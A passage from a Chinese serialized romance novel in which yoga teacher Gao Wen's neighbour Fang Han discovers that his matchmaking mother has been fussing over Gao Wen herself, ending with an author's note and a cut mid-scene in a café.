高雯这也没胃口，那也不想吃，说得最多的话，就是冲着厨房的方寒瘪嘴道：“你陪我说说话吧。” “好。”他总是好脾气回应。 “方寒，”高雯拉过毯子，盖住她的头，小脚丫还蹬了蹬，“我要发霉了，发霉了——” 躺了一天了。 “方寒——” “嗯？” “你说说话呀。” “我想给你做个番茄排骨汤，可以吗？” 高雯又翻了个身，趴在沙发上，懒洋洋抬眸看站在她身边的方寒，手也无意识往地上垂落，整个人瘫着。 方寒蹲下来看着她，漆黑深邃的视线带着温柔纵容：“你的手，可不可以收回毯子里去？” 天冷了。 高雯太无聊，她不仅不收回，反而把她的手抬起来，身上的毯子跟着移动。 像个任性的孩子，反着来，和她平时的样子截然不同。 方寒似乎没想到她会这么叛逆，倏然笑了：“行吧。” 他没说什么，起身把她身上的毯子往后拉了拉，盖住她的脚。 50-60 第51章 第51章 高雯休息一天。 第二天可…… 高雯休息一天。 第二天可算恢复如常了。 胡虹得知高雯生理期不适, 在接下来的几天，都给她送养生粥。 “你太瘦了。”胡虹说完，又笑着道, “长点肉也好看的。” 高雯跟着弯了弯唇角：“我尽量多吃点。” 她的体重上下幅度一直不大, 这段时间可能是因为事情太多，轻了两斤, 可以考虑多吃补上。 “当然要多吃，有空就来我家吃饭，想吃什么就给你做什么。”胡虹立刻发出邀请。 胡虹和高雯叨叨叨了好一会, 直到电话响起，她才恋恋不舍起身, 对高雯道：“我明天再来，我要去听讲座了。” “讲座？”高雯好奇。 “养生讲座, 但你放心, 我不会买东西, 是去学习中医。和我一个老姐妹一起去。”胡虹说完又叹气道，“老人家的时间很多, 都不知道要做什么。” “好, 明天见。”高雯只觉得有趣，认为她这样的日子很充实。 胡虹离开后, 高雯喝着养生粥, 拿过手机回方寒的消息。 他们的聊天内容从工作，到能分享日常。 对于彼此关系的拉近，两人都心照不宣。 高雯看着这间小小的瑜伽教室, 突然觉得很幸运。 她已经有了足够热爱的事情，也能负担起好的生活，可以选择自己想做的事情, 想选择的人。 这一切，都和前世的轨迹不一样了。 方寒下班后约高雯去逛商场。 他发现一家好吃的私房菜，他们周末可以一起去。 “好的。”高雯毫不犹豫答应下来。 接下来的几天，方寒会配合高雯的下班时间，先去健身房锻炼，然后等她一起散步回家。 他们两个人会在客厅待上一会，高雯如果想吃点东西，方寒下厨，做点简易的餐食。 要不然，就坐着聊聊天。 以前都没发现有这么多的话题可以聊。 心情就挺愉悦的。 只不过高雯习惯早睡，不能待太久。 方寒恋恋不舍回房后，方宏铭给他打了电话，说是胡虹的生日快到了，要怎么安排。 “要不然，你明天回家一趟，按照你妈的意思，今年有点想大办。”方宏铭说。 方寒疑惑，他妈有点随外公的性子，低调又简朴，怎么突然想大办了？ “我明天看看。” 方寒回去前，也和高雯说了，他习惯做什么事情都和她说一说。 她没什么想法，方寒回家频繁，完全符合她对他的了解。 他的家庭氛围应该极好，不然怎么能养出他那种性子呢？ 方寒到家后，正巧碰上胡虹和方宏铭一起讨论。 胡虹幻想着，要怎么怎么办，还要下安排，问就是：“我都没办过生日宴，以前工作忙，现在退休了，必须要办，就当我的退休宴，庆祝我退休！” 方宏铭头顶黑线，看向方寒。 方寒刚到家，正在回高雯消息，他唇角上翘，一副春心荡漾的样子，让胡虹和方宏铭面面相觑。 “你怎么回事？”胡虹察觉到情况，眯着眼看向方寒，“你听没听我的说话？” 方寒清了清嗓音，把手机收回去，眉眼的笑意受不住，对胡虹道：“你想怎么办，我们就怎么办，我和爸听您的。” “我要把我的老姐妹都叫过来，还有在瑜伽馆认识的，也都叫过来！”胡虹说完，特意强调，“而且，我还要把那几个小姑娘都叫过来，我可喜欢她们了，尤其是雯——” 方寒手机响起，是因为给他发了的语音消息。 她估计是要上课了，不方便打字。 “我出去一下。”方寒根本坐不住，拿着手机快步走出去听，挑着眼尾笑得那叫一个温柔。 胡虹还有什么不明白，她重重哼了一声，转身回了房：“不想和你们说了，烦人！” 方寒再一次进屋，看到胡虹没在，只剩方宏铭，他有些疑惑：“妈呢？” “你盯着手机一副热恋的样子，把她气着了。”方宏铭说完摇头道，“我还不了解你妈啊？她想和老姐妹聚是一回事，主要是想把瑜伽馆那些处得好叫过来，尤其是她看中的瑜伽老师，叫什么——” 方宏铭挠了挠头，一时半会想不起来，简言之：”你老大不小了，她想组个饭局，看看你们能不能看对眼。” 方寒今年二十七岁，还没谈恋爱，谈个两年，一晃就三十了。 “爸，”方寒打断他，“我有我自己的想法，你让妈别操心了。” “听说那姑娘长得好看，白白高高——” “您别说了。”方寒并不想听，他觉得这是对高雯的不尊重，沉声强调，“我有喜欢的人了。” 他认准的。 方宏铭止了声。 胡虹的声音从屋内愤愤传来：“见一面都不见，你别后悔！” “我不会后悔。”方寒说得斩钉截铁。 方寒离开家的时候，听方宏铭说最近买的菊花茶不错，柿饼也能吃了，他都装一点，还有方宏铭做的桂花糕，也装了半盒。 大包小包带着走。 别说胡虹，就连方宏铭都无语。 这个儿子，他们自己了解得很，不爱吃零食，联想到上一次也是回来拿这拿那，往外搬，都是拿些小姑娘喜欢的。 方宏铭安慰胡虹：“由他吧，左右也是件好事，谈恋爱了就好。” 胡虹耸拉着脸，气呼呼又往屋内走：“我最近几天不想见到他！生日也不让他回来了！” “我马上跟他说。” 第二天。 胡虹顶着一个黑眼圈来到瑜伽馆。 高雯看到她，也是微微蹙眉：“您昨晚晚上没睡好吗？” 胡虹看到高雯，一想到她再也没当自己儿媳妇的可能，那个心啊，就像刀刮似的，着实难受，她把炖好的银耳莲子羹给高雯，委屈巴巴道：“我儿子谈恋爱了。” “这是好事啊。”高雯一听，心里都松了一口气。 馆里的人，时常调侃高雯，说胡虹看上她当儿媳妇了，尽管胡虹就偶尔提过一嘴，也从未多说，她还是有压力，因为她对她太好，无以为报。 “不好，”胡虹垂着头，吸了吸气，扭扭捏捏说出口，“我喜欢你，我怕她欺负我。” 她说着，似乎已经在脑海里浮现画面，身子都抖了抖，哭丧着脸看向高雯，“你是个好姑娘，你不会欺负我。” “”高雯瞧着，胡虹是真的很担心这个问题，有点可怜又有点好笑，她宽慰她，“您这么好，你儿媳妇也不会欺负你的，她会对你好，您不是想要个女儿吗？儿媳就是半个女儿，多好啊。” “我的老姐妹王秀芬也这么觉得，她把钱都给她儿子结婚，天天去领免费的鸡蛋吃，每个星期还去儿媳妇家里打扫卫生，都被骂老不死，”胡虹说着更卑微了，自我检讨，“我没她勤快，不会做饭，我也不会带小孩，我怕她对我更不满——” 方宏铭年轻时外派，他们两口子都在上班，方寒是四位老人带大。 高雯实在不懂这种家庭婆媳纷争，以前的时候，在高家就上演不少，十分复杂，她给不了胡虹有效建议，见胡虹惶恐忐忑，脸色为难起来。 “我们有缘无分，”胡虹拉着高雯的手，惋惜不已，“我现在觉得，我家那小子，也不一定配得上你，你要找个更好的。” 胡虹说这话的时候，已经在脑海里将身边的优质男性过滤筛选。 既然他们家没那福气，就得给高雯找个好人家，她也不会强求，两个年轻人如果能看对眼就更好，省得这么好的姑娘被油嘴滑舌的渣男骗走。 她的堂侄子胡一裕不错。 医学博士，家中独子，收入高，人长得斯斯文文又端正，脾气好，父母又是老好人的性子，有分寸和边界感，有两套别墅，还有一套没装修的婚房，据说给未来儿媳准备了百万彩礼。 “过几天是我生日，你要来我家吗？”胡虹问高雯。 她想着，高雯来的话，就把堂嫂一家也叫来，尤其要叫上胡一裕。 胡一裕都三十了吧？ 两个年轻人万一看对眼了呢？ 肥水不流外人田！多好的姑娘啊！要嫁个好人家！ “这几天我都很忙，课都排着，可能抽不出空。”高雯说的是事实。面对胡虹这么热络，她的确也不知道如何相处，紧张又无措。 “好吧。”胡虹难掩失落，小声嘟囔，“你都不来，还有什么意思。” 她们家又不兴办生日宴，尤其是老一辈，他们吃过苦，不喜欢铺张浪费，所以他们家从来没办过什么宴会。 “您说什么？”高雯没听清。 “没什么，那就下次吧。”胡虹强颜欢笑。 高雯看出了胡虹心情不佳，她不会处理这样的亲密关系。 只能沉默。 当天晚上。 高雯睡前想了好久，她拿过手机，加急下了两个单。 次日一大早，胡虹照常来上课。 她不打算大办了。 胡虹和高雯说：“我就请了一桌人，都是我一些老姐妹，原本都打算取消，但走漏了点风声，干脆就吃个饭。” “上完课，你就能回去吃大餐了。”高雯拿过辅具，给她松解肌肉。 “好！”胡虹似乎也怕高雯心里内疚，没再说起这个话题。 这节课，还真上得很认真。 还没下课，胡虹的手机就一直响，今天注定繁忙。 课程结束后，她没时间和高雯唠嗑，从购物袋里拿出衣服就去换衣间了。 等胡虹换完衣服，挂完老姐妹的电话，就接到方寒电话，她走出来，本来想吐槽方寒一下，就看到桌子上的一束花和生日蛋糕。 胡虹的脚步顿住，似乎猜到什么，眉眼止不住泛起笑。 “你别回来添乱了，没你什么事了。”胡虹说着，非常干脆利落挂掉了方寒的电话，快步走到桌边，眼底都是惊喜看着高雯，“这都是给我的？” “嗯，祝您生日快乐，健康喜乐。”高雯思来想去，还是给胡虹订了一束花和一个蛋糕。 胡虹对她关心怜惜，而且很真诚偏爱。 她总得有些表示。 胡虹看着造型精致的女神蛋糕，还有一大束花，眼眶有些发红。 她是个很感性的人，当下就湿了眼眶。 “这是我第一次收到鲜花和蛋糕，还是这么好看的蛋糕，肯定花了你不少钱，”胡虹第一反应是这个，心疼道，“你一个小姑娘，赚钱不容易。” “您以后多来上课，坚持上课，我很快就赚回来了。”高雯半开玩笑，将刚刚倒出来晾好的茶递给胡虹，“来日方长嘛，我看得远。” 胡虹被逗笑：“雯雯，你上次生理期难受，我看你的身体是不是要调一调？我有个侄子在中西医院，要不让他帮忙挂个专家号，我带你去看看，吃点中药。” 胡虹突然想到胡一裕还有这用处。 两人成不成不重要，也能帮忙。 万一正在帮忙，就看对眼了呢？ 这么好的姑娘，可得嫁个顶好的人家，真是便宜她堂嫂了！ 高雯一想起难喝的中药，当下拒绝：“不用了，是因为我这几个月太累，所以反应大些，最近不怎么忙了，应该会好很多。” “他们医院的专家很不错，我更年期不舒服，吃半个月中药就好了，也是他帮我挂号。”胡虹越想越觉得胡一裕不错，“你最近忙，也不着急，想看的话，我再带你去。” “嗯嗯。”高雯没再拒绝 胡虹拿着鲜花和蛋糕，还去买了个花瓶才回家。 等她到家时，好几个老姐妹都来了。 她们看到胡虹拿着鲜花蛋糕回来，纷纷羡慕道：“这是你家方寒给你送的啊？” 人到老了，难免攀比一下儿孙孝不孝顺。 “不是，”胡虹才不让方寒冒领功劳，“他才没那么贴心！是我瑜伽馆的一个小姑娘给我送的。” “就那个你喜欢的小姑娘？”其中一个老阿姨问。= “嗯。” “你家方寒去看了吗？”对方又问，“他喜不喜欢？” “算了，他有喜欢的人了，我不想插手他的事情。”胡虹遗憾归遗憾，倒也没想干涉方寒的事情。 那个阿姨一听：“有照片没？我儿子还没谈对象，让我看看。” 胡虹留了心眼：“那我没有，下次再问问。” 她嘴上这么说，实际上冷哼一声。 不行，这个老姐妹家庭虽然不错，但儿子太胖，还只是个一本学历，配不上高雯！ 要家庭好，长得好，学历高，父母和谐有爱。 缺一不可！ 大家都在夸高雯送的礼物精致用心时，方宏铭从外面回来了，提声对胡虹道：“小寒给你买了个按摩椅，人家送货上门了，你看要放在哪？” 方寒每年送胡虹的礼物，都是很实用的东西。 不是乳胶床垫就是按摩椅等大家具。 此言一出，在场人再一次露出羡慕的神色：“你还说你家方寒不孝顺，比我家儿子好多了！” “他每年都送这些大件，”胡虹语气虽无奈，脸上笑意未减，“我们聚餐，我就没让他一个年轻人回来捣乱。” 两个工人在众目睽睽下，端着一个高端的按摩椅往里，听从胡虹的安排，放在正房安装。 胡虹把买来的花瓶插上花，和老姐妹吃了饭，饭后开蛋糕。 她的心情，别提多开心了。 满足感十足。 晚上，胡虹给高雯发了消息：【雯雯，这是我过得最开心的一个生日！谢谢你！希望你天天开心，永远这么漂亮。】 从话语里，高雯都能察觉到她的开心。 她笑着打字回她。 高雯正和方寒在小区散步。 说是消消食，实际上是想多一点相处的时间。 方寒见高雯含着笑聊天，出言猜测：“是和那个阿姨聊？” “嗯。”高雯点头，“一个很可爱善良的阿姨。” 方寒知道她，张妮说过几次，在他看来，是一个“不讲武德”的阿姨，于是道：“她是不是有个儿子？” “对，她儿子最近谈恋爱了，把她愁得不行。”高雯想起胡虹那天皱着的脸，别扭又搞笑，她忍不住笑了。 方寒一听，对方儿子谈恋爱了？ 大喜事啊。 他唇角上扬：“挺好。” 话音未落，方寒的手机受到胡虹发来的消息：【谢谢儿子。】 胡虹因为高雯送的鲜花和蛋糕，心情很不错，瞧见方寒送的按摩椅心情都好多了，浪漫和实用都有了，她总得给自家儿子表示表示。 方寒打字回胡虹。 胡虹又发了一句：【我不管你的事情了，我打算给你一裕表哥牵牵线，给他介绍个女朋友，他爸妈正愁。】 方寒真是谢天谢地，甚至道：【好，您看上的他可能会喜欢。】 最好把胡虹最看上的那个介绍给胡一裕，这样的话，胡虹就不用心心念着打他的主意，了却她的心事。 胡虹：【我知道！】 方寒满意收回手机，高雯见他嘴角上扬，忍不住问：“有什么喜事吗？” “有两个小麻烦解决了。”方寒笑着说。 那个阿姨的儿子谈了恋爱，胡虹要把那个姑娘介绍给胡一裕，这不就是他心里的两个小麻烦吗？自然是喜事。 高雯以为是工作上的事情，了然点头：“那就挺好的。” “嗯。”方寒笑意不减，继续点头。 第52章 第52章 那个小姑娘叫什么名字？ “十一点三十八分零一秒！” “我们的线上课程销售额破百万！” “真是太棒了！” 林思悦的声音带着压抑不住的兴奋, 激动到脸色涨红。 高雯下完课从教室走出来，林思悦就小跑过去抱着她：“雯雯姐，百万, 破百万了！一天就破百万了, 你的粉丝也破两百万了！” “轻点轻点——” 高雯被她勒得有些喘不上气，连忙开口说道。 “不好意思, 是我没控制住。”林思悦连忙松开高雯，还是有些激动难言，“一百万！卖得特别好！眉姐说要订个蛋糕, 今天晚上庆祝，让我问问你的意见。” “可以啊, 大家一起庆祝，辛苦你们了。”高雯说。 之前就要提出的线上录播课, 终于上线。 高雯负责设计制定课程和录制, 后续的工作都是张妮几人完成, 她认为这个业绩属于大家，是她们一起努力的成果。 线下的销售额是有上限的, 线上就不一样了, 代表着更大的市场。 “不辛苦，一点都不辛苦呢！我去和眉姐说。”林思悦蹦蹦跳跳走了。 高雯回到教室, 收到方寒消息。 今天是周五, 她的放纵日，他问她想吃什么菜，他去买。 高雯纤细修长的手指快速动着, 给他发了消息：【今天晚上不行，忙完要在馆里小聚一下。】 方寒：【好。我在公司加班，你忙完给我发消息。】 高雯：【嗯嗯。回去的时候给你带蛋糕。/微笑/】 方寒：【图片】 他回了一个表情, 一只憨厚可爱的大熊猫，鞠躬致谢，笑得呆萌又带了点一本正经。 高雯看着这个表情包，突然轻轻笑了，眉眼弯弯。 她和他相处的时候，舒心又自在，一点都不排斥和他深入接触。 晚间。 会员下课后，语禾瑜伽馆热闹起来。 徐眉不仅订了蛋糕，还买了很多小吃和水果，甚至让人专门在大教室搭了个场景，摆上香槟，氛围感十足。 “第一杯，我们敬雯雯老师，没有雯雯老师，我们馆就不会这么快成长，”徐眉举起酒杯，“第一杯必须敬雯雯老师。” “没错！”林思悦无比赞同，大大咧咧道，“我必须敬雯雯姐，先干了！” 高雯看着众人的热情，实在抵挡不住，喝了两口饮料，就躲到一边。 她不能喝酒，明天还要上课。 徐眉做了个简单发言和之后的安排，大家吃吃喝喝，很随意。 高雯看了看时间，十一点前，她必须撤。 她给方寒发了消息，还选了一个小蛋糕和一个小礼盒，打了声招呼后离开。 高雯出了门，还没走到马路边，方寒就从另一边过来，他笑着道：“聚会结束了？” “没呢，她们都在K歌，我得早点回去，还有事情没做完，明天要早起，”高雯说着，把手上打包的蛋糕和装着小吃的小礼盒给他，“给你带的，蛋糕还挺好吃。” “谢谢。”方寒笑着接过来，他看着盒子里的蛋糕，虽然小巧，但很精致，上面写满了各种红色的“发财暴富”宣言。 字体太小，方寒还拿近仔细看了一下。 “是不是很有特色？也不知道她们怎么想出来的，”高雯往前走说道，“什么日富一日，钱途无量，八方来财，钱从四面八方来” “是挺有意思。”方寒轻笑。 “一个蛋糕上都充满了我们想要努力搞钱的渴望，”高雯说完看向方寒笑道，“你要把这个蛋糕吃完，说不定也有好运，财源滚滚。” 高雯双手放在背后，往前慢悠悠走着，说到这句话，侧着身子，往方寒那头倾身，一双杏眼宛成一轮弯弯的月牙，声线软糯对他道，“因为我们用一天时间，就完成了线上课程上百万的销量，是不是很厉害？！” 对于高雯来说，算是一次很大的突破。 说明线上课程很行，还有巨大发挥空间。 “很厉害！”方寒冲她竖起大拇指，他看着蛋糕，扬起嘴角道，“这个好运，我多少都得蹭一蹭，谢谢你的分享。” 高雯笑意加深，继续往前走，语气里带着一丝庆幸欢喜：“这个系列之后应该会卖得不错，这样的话，我估计能有一笔可观的分成。” “嗯，会非常可观。”方寒很肯定告诉她。 高雯垂眸继续往前走：“我离自己的愿望，又进了一步。” “你的愿望？”方寒接话。 “对啊，”高雯抬头看向他，伸手指了指灯火通明的小区，“我不是说过吗？我想要在这里扎根，买属于自己的房子，在A市有一个家，”她说着，眼眸缀满光，语气里都是自信，“上一次我跟你说的时候，我连一间像样的房子都租不起，那好像是遥不可及的梦，现在我觉得，我能完成，并且不会很慢。” “这样啊——”方寒笑了，“你说你想要在这里扎根，住大大的房子，最好有健身房和书房，还要有大大的落地窗。” 高雯没想到他记得那么清楚，怔愣片刻。 方寒笑意不减：“符合你这个条件的房子，不太容易找。” “那只是我一开始的想法，我现在改变了，”高雯垂眸，接着往前走，轻喃道，“其实没必要给自己太大压力，房子可以小一点，这不是最重要的。” “我现在能赚不少钱，买个小房子应该没问题。” 房子还是必须得有。 她要在这里扎根，虽然她在合租这里租得也挺开心，但还是想以后有个自己的房子，不过她不会靠任何人，她自己就有这样的能力。 方寒跟了上来，含笑道：“你的想法倒也没问题，不用改变。只是，你要是想在落地窗前看夜景，就得在高层，A市核心地段的房子，都不高。” “近几年新开发的楼盘都比较远，通行麻烦。” 高雯压根没想那么多，听到方寒这么说，只觉得他去做了功课。 上一次她随口的话，让他思考那么多吗？ “我都没想那么远，现在满脑子就想顺利毕业，”高雯话语极力轻松，“而且，在毕业前，我不打算搬走，过几天要找房东续签了。” “你要续签多久？”方寒问这个的时候，有些紧张。 高雯的房子是他同事转租过来的，这个月底到期。 她一直没提这事，方寒没敢问，生怕她搬走，毕竟现在她不缺这点钱。 “半年吧，到时候差不多毕业。我太忙了，不想搬来搬去，住在这里挺好的，方便又离瑜伽馆很近。”高雯想起上一次找房子吃的苦，实在不想经历第二次。 这里没什么不好。 方寒对她很好，这是她没明说的一个理由。 “半年可以，房东刚好是半年起租。”方寒松了口气，唇角微微上翘，“过几天我帮你和房东说一声，我之前和他沟通过，我怕他不搭理你。” “好啊，”高雯说着笑，“先续签半年吧。” “嗯。”方寒笑着点头。 她能继续留在这里，他自然无比欣喜 回到家后，方寒打开了蛋糕，准备品尝。 高雯没回房，也在餐桌坐下来，她要和方寒聊会天，不然他得一个人，多孤独。 “我去洗点水果。”方寒起身去厨房。 高雯坐在餐桌上，她的视线由那个小蛋糕，落在一旁的手表上。 那是她送给方寒的手表，从那天后，他好像就一直戴在手上。 洗水果和做饭的时候，方寒就会摘下来。 高雯还提醒过，这款手表防水，但他下一次，依旧会摘下来。 她看着在厨房里忙碌的方寒，眼底微微闪烁。 “我给你热一杯牛奶吧？喝了好睡觉。”方寒从厨房探出头，话语温柔问。 “嗯。”高雯点头， 她的手撑着下巴，再一次觉得，房子再小一点也没关系，她现在也有点能力，不需要通过出卖自己的婚姻依附他人。 这样平平淡淡的生活，就挺好。 没一会，方寒端了一杯温牛奶，笑着放在高雯面前。 高雯展开笑颜：“谢谢~~” 她喜欢这样的生活 回到房间。 高雯洗漱好后，利用护肤的时间开直播。 她的粉丝黏度很高，哪怕是寻常的唠唠嗑，刚开播没多久，迅速就达到了上万人，紧接着就是一万多两万，还有不少富婆姐姐给她打赏。 “谢谢各位美女姐姐的喜欢，”高雯看着被砸了好几千块，实在有些受宠若惊，她的粉丝绝大多数都是女性，遍布各个年龄阶段。 林思悦和高雯说过，她这个账号很值钱，堪比大网红，再这样养下去直逼顶流。 高雯觉得夸张了，林思悦给出的分析是，这些粉丝都是女性，不是什么色粉，舍得花钱，黏度高，这种账号的商业价值很大。 高雯直播时间不长，到点就要下播，再次感谢富婆姐姐，和粉丝道晚安后，就下线了。 她拿着手机上床躺下，看着99+的私信，随手点开。 高雯通常不会回，就是看看。 大部分都是对她的欣赏和女性的表白。 高雯一路往下滑，刷到了一条求助消息。 她点开，一看就是复制粘贴，广撒网的消息，她还是点开了那个人的主页。 对方的ID叫：“杳杳妈妈在努力” 清一色的视频，全部都是求助视频，每天发好几个。 头像上，是一个骨瘦如柴，肌肤蜡黄的小女孩，说是七岁，看起来像四五岁。 在视频里，小女孩坐在一辆电动车后，一个瘦小的女子，带着她跑外卖。 因为医疗费昂贵，刮风下雨都坚持。 这样的事情，屡见不鲜。 高雯不止刷到一例。 这个社会上的穷苦人太多，多到可怜不完。 高雯刚要退出，就看到“杳杳妈妈在努力”在一条劝她放弃的网友下回复：【我是她妈妈，我把她带到这个世界上，就要为她负责。哪怕最后结果不如愿，我起码不会后悔。】 高雯看到这句话，心里一滞，她没犹豫回了私信。 * 清晨。 张妮来上班的时候，瞧见胡虹坐在休息区，她开口打招呼：“胡阿姨，早上好。” “早上好。”胡虹热情回应，还招手道，“来喝茶啊，吃早餐了吗？有糕点吃。” 张妮笑着走过去：“您上完课了？” 这个阿姨天天都来，有时候一呆就是一上午，比她们上班还勤快。 “上完了呀，我都休息好一会了。”胡虹给她倒茶，还悄悄道，“今天很累，疼死了，但是我都坚持下来了！” “我真的好佩服您啊。您明天跟我们上小课，上肩颈，没那么累。”张妮说。 胡虹：“好啊好啊。” 两人正聊着，从另一间教室出来的会员笑着走过来，从张妮问：“我打听一下，雯雯老师有男朋友了吗？” 闻言，正在聊天的两人顿时止住声音。 张妮以前都不怎么在意，现在她可要帮方寒看着。 胡虹则有心要介绍胡一裕和高雯认识，这两人都没见过面，可不能被插一脚。 “雯雯老师还小，她说她不打算谈恋爱。”张妮说。 “可以先认识认识，交朋友，”这个会员不似那些那么好拒绝，她还接着道，“我开了个小公司，我侄子从A市理工大学毕业后，就在公司帮我忙。他学的是通信工程专业，当程序员。以后就在这里了，婚后也有购房打算。他说他喜欢高高白白身材好的，所以我就想问问。” 张妮笑：“来打听雯雯老师的人太多了，她说不打算恋爱。” “我等等她，问问，我还带了照片，给她看看。”女会员很难缠，说完就走到一边换衣服。 人刚走，胡虹想起对方肤浅的要求，压低声音对张妮道：“程序员有什么好？经常加班，还会有大肚腩和秃头，怎么配得上雯雯？！” 还要求高高白白，身材好的。 选妃呢？ 冲这一点，这人就不好 不能选！ 张妮一想到方寒也是程序员，听到这话，很是为难啊。 她还不知道怎么反驳。 胡虹又嫌弃道：“省外人，没有户口啊，没有户口很麻烦，还需要购房还房贷！车子更别说了。” 她侄子胡一裕是A市户口，家里有别墅，有房有车全款！ “没错，没户口不行，”张妮表示强烈赞同，“落户很不容易，还是得找个本地人，有车有房的，收入不错，雯雯也能少吃苦。” 方寒就很符合了。 本地人，有房，车不是什么问题，收入高。 “对啊，要么不找，要么就要找对她好，还得条件好，家庭好，学历高，工作好的——”胡虹列举出一堆条件。 “人品得好！这一点很重要。”张妮强调。 方寒人品好。 “对对对，这一点重中之重。”胡虹想到自己的侄子，多好的一个小伙子，热心善良，斯斯文文没有恶习。 张妮和胡虹正说着，那个女会员站在门口等高雯下课。 可把两人齐齐往那边探去，脖子拉长。 紧张得很。 直到瞧见女会员脸上失落的神色，她们才松了口气。 癞蛤蟆休想吃天鹅肉！ 哼！ 高雯从教室出来时，见胡虹和张妮聊得正欢，笑着走过去问：“在聊什么呢？这么开心。” “随便聊聊，”胡虹说完看向高雯，想起一件事，“对了雯雯，我上次说要带你去看看中医，吃点中药，你要不要去啊？” 高雯皱着眉头摇头，反倒是刚来的徐眉追问：“哪里的中医？很有效果吗？” “有效果啊，我上次吃了两副药就有效果了，”胡虹说完道，“不是什么江湖郎中，就是中西结合医院的副院长，专家号，我都是让我侄子挂的号，不然抢不到。” 徐眉走过来：“阿姨，能不能帮我挂一个？我最近失眠，快半个月没睡好了，心跳加速，又检查不出问题。” “我得帮你问问。”胡虹没贸然答应，给胡一裕打了个电话。 没一会，胡虹走回来了：“我侄子说周五下午才有号，不过得走特需门诊，挂号费贵。” “好。”徐眉一口应下，“谢谢啊，到时候我直接去吗？” “我和你一起去吧，我也好久没见他了。”胡虹得先打听一下胡一裕自己的想法。 周五当天。 胡虹正好上下午的小课，徐眉提前来等她，胡虹没想到，高雯也跟着去。 徐眉解释道：“我们租了二楼，要装修几间教室，那家设计公司正好在医院附近，雯雯老师先去设计院沟通，我去医院看病，我一会再过去。” “这样啊，”胡虹说完再次问高雯，“雯雯，你不去看看吗？调理一下身子，把把脉。” 高雯要看的话，胡虹就要厚着脸皮，让胡一裕帮帮忙了。 徐眉这个是走流程，不算开后门。 “阿姨，您饶了我吧。”高雯实在不想吃中药，说起来就要皱着脸了。 胡虹不再勉强她。 徐眉开车，胡虹和高雯坐在后排。 到了设计院，高雯先下车，胡虹和徐眉去医院。 高雯这边倒是解决比较快，和设计院沟通很顺利，二楼添加一个大教室，三间小教室，分别放核心床，超模床，还有一间地面瑜伽。 她迟迟没等到徐眉，就给对方打了电话。 徐眉这边遇到小情况，医生处理紧急病患去了，还要等。 高雯从设计院出来，在医院对面的咖啡厅找了个位置，准备等徐眉看完病，一起去设计院沟通，确定最后方案。 她刚坐下来，胡虹就给她打电话了。 没一会，胡虹从医院出来，来到咖啡厅找高雯。 胡虹坐下道：“我侄子在忙，都没见到人，算了。” “医生就是很忙，没办法。”高雯笑着给她递过去菜单，“您看看要喝点什么。” “我不喝咖啡，老人家喝咖啡不好。”胡虹说。 “那给您点一杯橙汁吧？可以吗？”高雯问。 胡虹还没接话，手机就收到一条消息，她点开一看，是胡一裕发来的。 他说他快忙完了，问胡虹回没回去。 胡虹说她在医院外的咖啡厅。 胡一裕说他一会过去，她前几天体检的资料出来了，他正好拿给她。 胡虹一看胡一裕要过来，眼睛都瞪大了，看了看高雯，又看看手机。 “阿姨，您要喝橙汁吗？”高雯再一次问。 胡虹脸上顿时笑得跟朵花似的：“你点什么我喝什么，我不挑的。” 她可没有特意牵线啊。 更没有给年轻人造成困扰。 一切，就是这么巧！ 它就这么巧！ 胡虹甚至想到，这莫非，就是传说中的缘分？ 雯雯注定是他们家的人？！ “我给您点杯橙汁。”高雯下单了。 “好好好。”胡虹看着高雯，忍不住道：“一会我侄子要过来，我前几天来他们医院做全身体检，他说报告出来了，顺便给我送过来。” “嗯嗯，”高雯点头，只是有些担心，“体检报告都正常吧？” “没什么大问题，你给我矫正后好得很！”胡虹说。 高雯：“那就好。” 胡虹看着高雯，越看越满意，笑意不止。 这么好看的小姑娘，多好啊。 * 方寒回到家，伸手推门。 方宏铭正躺在院子里晒太阳，见他回来了，没有起身：“你怎么现在回来了？” “托人给您买的冬虫夏草和阿胶拿到了，给您拿回来。”方寒将两个盒子放在一边。 “什么叫给我买？那是你妈让你买的，她最近都让我煮这个，炖那个，海参花胶都不知道买了多少，还要上等货，”方宏铭微微坐起身，“那些玩意儿都不好买，市面上鱼龙混杂。” 方寒：“她要吃？” 印象里，胡虹不喜欢吃这些。 “不啊，这不是给瑜伽馆那个小姑娘吃吗？给她补补，”方宏铭重新躺下来，“你妈喜欢人家，恨不得把人家当闺女，说是那个小姑娘太瘦，想给那个小姑娘补一补。” 方寒了解了。 这的确是胡虹的性子，喜欢一个人，就要拼命对人家好。 “随她吧，她去锻炼后，身体应该好了不少。”方寒说。 “现在爬山都不带喘，”方宏铭说起来就笑，“的确是好不少，更能折腾了。” “我妈呢？”方寒问，“她不是早上去上课吗？” “今天是下午，说是下课后要去医院找你表哥，不知道是不是带那个小姑娘去看中医，反正没回来。”方宏铭说。 方寒不感兴趣，所以没接话。 方宏铭起身道：“我刚炖了山药薏米莲子羹，你也吃点。” “多吗？”方寒问。 “你要吃多少？”方宏铭说着，往厨房走，“你妈今天没带去瑜伽馆，所以剩不少。” “想带点回去。” 山药薏米莲子羹不错，方寒想给高雯带点回去，想给她补补。 “我看看。”方宏铭打开锅，见里面有不少，“一会盛点带回去吧。” 他说着，要找东西装，指了指旁边的那个保温瓶，“这两个不能用，那是瑜伽馆那个小姑娘的专用，乱碰你妈都要生气的。” 方寒看向那两个保温瓶，觉得无比熟悉。 他好像见过，高雯给他发过？ “那个小姑娘叫什么名字？”方寒拿碗的动作一顿，突然出口问。 “叫，叫——”方宏铭想了半天，“我也忘了，反正她最近又说想要介绍给你一裕表哥，他都三十了，还没谈恋爱，他爸妈正着急没儿媳妇。” 方寒放下碗，拿出手机正准备查看和高雯的聊天记录。 他还没打开手机，外面的鹦鹉突然叫了：“儿媳妇！儿媳妇！雯雯是我媳妇儿！” 方寒错愕不已。 鹦鹉的叫声还在继续： “雯雯不当儿媳妇，呜呜——呜呜——” “我喜欢雯雯，我喜欢雯雯！” “儿媳妇，儿媳妇，雯雯是我儿媳妇！” “方寒是笨蛋，要雯雯当儿媳妇！便宜胡一裕，笨蛋方寒。”—— 作者有话说：最近更新有些不稳定，姨妈期间太累了，总提不起精神，作者在调整了。 尽量多更准时更。 大家晚安。 第53章 第53章 那是我喜欢了很久很久的人。…… “对对对, 那个小姑娘叫雯雯。”方宏铭想起来了，他看着乱叫的鹦鹉，“你妈天天念, 你看着这只鹦鹉, 学得乱七八糟。” 方宏铭话音未落，方寒就匆匆往门口中走。 “诶, ”方宏铭叫住他，“你怎么走了？不吃莲子羹了？不带走了？” 方寒头都没回，直接跑出去 咖啡厅内。 胡虹一直伸长脖子往门口探, 紧张又兴奋。 